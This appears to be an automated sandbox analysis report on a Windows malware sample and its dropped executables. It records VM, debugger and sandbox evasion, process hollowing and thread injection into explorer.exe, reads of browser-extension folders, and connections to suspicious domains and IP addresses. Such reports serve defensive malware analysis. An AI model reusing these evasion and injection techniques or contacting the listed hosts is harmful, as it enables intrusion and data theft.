Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Roaming\iudbdfd	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\110B.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_00406AA0

Source: C:\Windows\explorer.exe TID: 6644	Thread sleep count: 568 > 30
Source: C:\Windows\explorer.exe TID: 6676	Thread sleep count: 247 > 30
Source: C:\Windows\explorer.exe TID: 6668	Thread sleep count: 306 > 30
Source: C:\Windows\explorer.exe TID: 6668	Thread sleep time: -30600s >= -30000s
Source: C:\Windows\explorer.exe TID: 3016	Thread sleep count: 397 > 30
Source: C:\Windows\explorer.exe TID: 5652	Thread sleep count: 169 > 30
Source: C:\Windows\explorer.exe TID: 3024	Thread sleep count: 250 > 30
Source: C:\Windows\explorer.exe TID: 4960	Thread sleep count: 325 > 30
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe TID: 2940	Thread sleep count: 43 > 30
Source: C:\Users\user\AppData\Local\Temp\110B.exe TID: 1312	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\110B.exe TID: 5528	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\110B.exe TID: 6088	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 5156	Thread sleep count: 45 > 30
Source: C:\Users\user\AppData\Local\Temp\7728.exe TID: 4104	Thread sleep time: -60000s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 568
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 397
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Window / User API: threadDelayed 644
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Window / User API: threadDelayed 1320

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_00406AA0

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll			Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\56DF.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened / queried: VBoxGuest
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\110B.exe

Code function: 28_2_00F0ACA0 sldt word ptr [eax]

Source: C:\Users\user\AppData\Local\Temp\110B.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\

Source: C26E.exe, 00000029.00000002.592046919.0000000006542000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: C26E.exe, 00000029.00000002.592046919.0000000006542000.00000004.00000001.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareZZE5X2NNWin32_VideoControllerBV5TBEP4VideoController120060621000000.000000-000742.0216display.infMSBDAVMTPSGDUPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsKLKNBMEO
Source: explorer.exe, 0000000D.00000000.305026106.0000000000B7D000.00000004.00000020.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 8CA5.exe, 00000025.00000002.526552463.00000000006F1000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW8
Source: 110B.exe	Binary or memory string: c17ORNhV9oqkZjp0JiyH0sRMZDg/NasGdrO15iIQ+6sgnCme33DD61FTRys5Oxc17aBG682VBbi4mUmme154heXqxpTBBrgsLShzdSLVJkEik+SidQawAAZTw1dmBHgFSV
Source: explorer.exe, 0000000D.00000000.330381041.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000D.00000000.305026106.0000000000B7D000.00000004.00000020.sdmp	Binary or memory string: War&Prod_VMware_SATA
Source: 4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWst4.com
Source: explorer.exe, 0000000D.00000000.315477557.0000000008778000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000}
Source: explorer.exe, 0000000D.00000000.326180694.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000D.00000000.330381041.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}&
Source: explorer.exe, 0000000D.00000000.326180694.00000000067C2000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000m32)
Source: 4D1A.exe, 00000019.00000002.440948054.00000000007C3000.00000004.00000001.sdmp, 4D1A.exe, 00000019.00000002.441039139.000000000081B000.00000004.00000001.sdmp, 7728.exe, 00000023.00000002.577211180.000000000286D000.00000004.00000001.sdmp, 8CA5.exe, 00000025.00000002.526471629.000000000069D000.00000004.00000020.sdmp, 8CA5.exe, 00000025.00000002.526552463.00000000006F1000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: 7728.exe, 00000023.00000002.576923274.000000000283F000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW G
Source: 9B5C.exe, 00000028.00000002.571443845.0000000001117000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllvv{r
Source: 7728.exe, 00000023.00000002.577211180.000000000286D000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW_
Source: explorer.exe, 0000000D.00000000.330381041.00000000086C9000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: 110B.exe, 0000001E.00000002.551688741.0000000000CBF000.00000004.00000020.sdmp, C26E.exe, 00000029.00000002.567934081.0000000001354000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_0041AA72 BuildCommDCBAndTimeoutsA,GetNamedPipeHandleStateA,ReleaseMutex,AddAtomA,TzSpecificLocalTimeToSystemTime,SetConsoleCursorInfo,VerifyVersionInfoW,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,GetProcessPriorityBoost,FreeEnvironmentStringsA,VerifyVersionInfoA,FindFirstFileExA,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

System information queried: ModuleInformation

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Open window title or class name: windbgframeclass

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Thread information set: HideFromDebugger

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Roaming\iudbdfd	System information queried: CodeIntegrityInformation
Source: C:\Users\user\AppData\Local\Temp\325D.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_004E0042 push dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_00735C15 push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Roaming\iudbdfd	Code function: 17_2_004E0042 push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_005B0042 push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_00401000 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_0040C180 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\4D1A.exe	Code function: 25_2_007B1F83 push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Code function: 35_2_00A6C0A3 push dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Code function: 35_2_00B00D90 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Code function: 35_2_00B0092B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\7728.exe	Code function: 35_2_00BC206B push dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\iudbdfd	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugFlags
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	Process queried: DebugObjectHandle

Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\8CA5.exe	File opened: SICE

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_00424E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Code function: 25_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Source: C:\Users\user\AppData\Local\Temp\4D1A.exe

Memory protected: page guard

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_00424E30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_0042C6A0 SetUnhandledExceptionFilter,
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Code function: 1_2_00428380 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_00424E60 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_0042C6D0 SetUnhandledExceptionFilter,
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Code function: 22_2_004283B0 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: downloafilesaccess.ddns.net
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: infinity-cheats.com
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80
Source: C:\Windows\explorer.exe	Domain query: privacytools-foryou-777.com
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: C26E.exe.13.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Roaming\iudbdfd	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\iudbdfd	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Allocates memory in foreign processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\A87C.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Memory written: C:\Users\user\Desktop\H4HU4rg1NM.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\iudbdfd	Memory written: C:\Users\user\AppData\Roaming\iudbdfd base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Memory written: C:\Users\user\AppData\Local\Temp\325D.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\110B.exe	Memory written: C:\Users\user\AppData\Local\Temp\110B.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\9B5C.exe	Memory written: C:\Users\user\AppData\Local\Temp\9B5C.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe

Code function: 1_2_004E0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\H4HU4rg1NM.exe	Thread created: C:\Windows\explorer.exe EIP: 4DE1930
Source: C:\Users\user\AppData\Roaming\iudbdfd	Thread created: unknown EIP: 5AA1930
Source: C:\Users\user\AppData\Local\Temp\325D.exe	Thread created: unknown EIP: 5DD1930

Writes to foreign memory regions

Show sources

Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\A87C.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: B6E008

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Show sources

Source: C:\Users\user\AppData\Local\Temp\A87C.exe

Message posted: Message id: QUERYENDSESSION

.NET source code references suspicious native API functions

Show sources

Source: C26E.exe.13.dr, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 9B5C.exe.13.dr, pcTrevOytiruceSegasseMledoMecivreSmetsyS82332.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 9B5C.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 110B.exe.13.dr, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 110B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.0.110B.exe.f00000.0.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.0.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.0.110B.exe.f00000.2.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.0.110B.exe.f00000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.2.110B.exe.f00000.0.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.2.110B.exe.f00000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.0.110B.exe.f00000.3.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.0.110B.exe.f00000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 28.0.110B.exe.f00000.1.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 28.0.110B.exe.f00000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.0.110B.exe.400000.8.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.110B.exe.400000.6.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.110B.exe.420000.5.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.110B.exe.420000.5.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.0.110B.exe.420000.2.unpack, retropxEtcartnoCegasseMrezilaireStcartnoCataDnoitpircseDledoMecivreSmetsyS80716.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
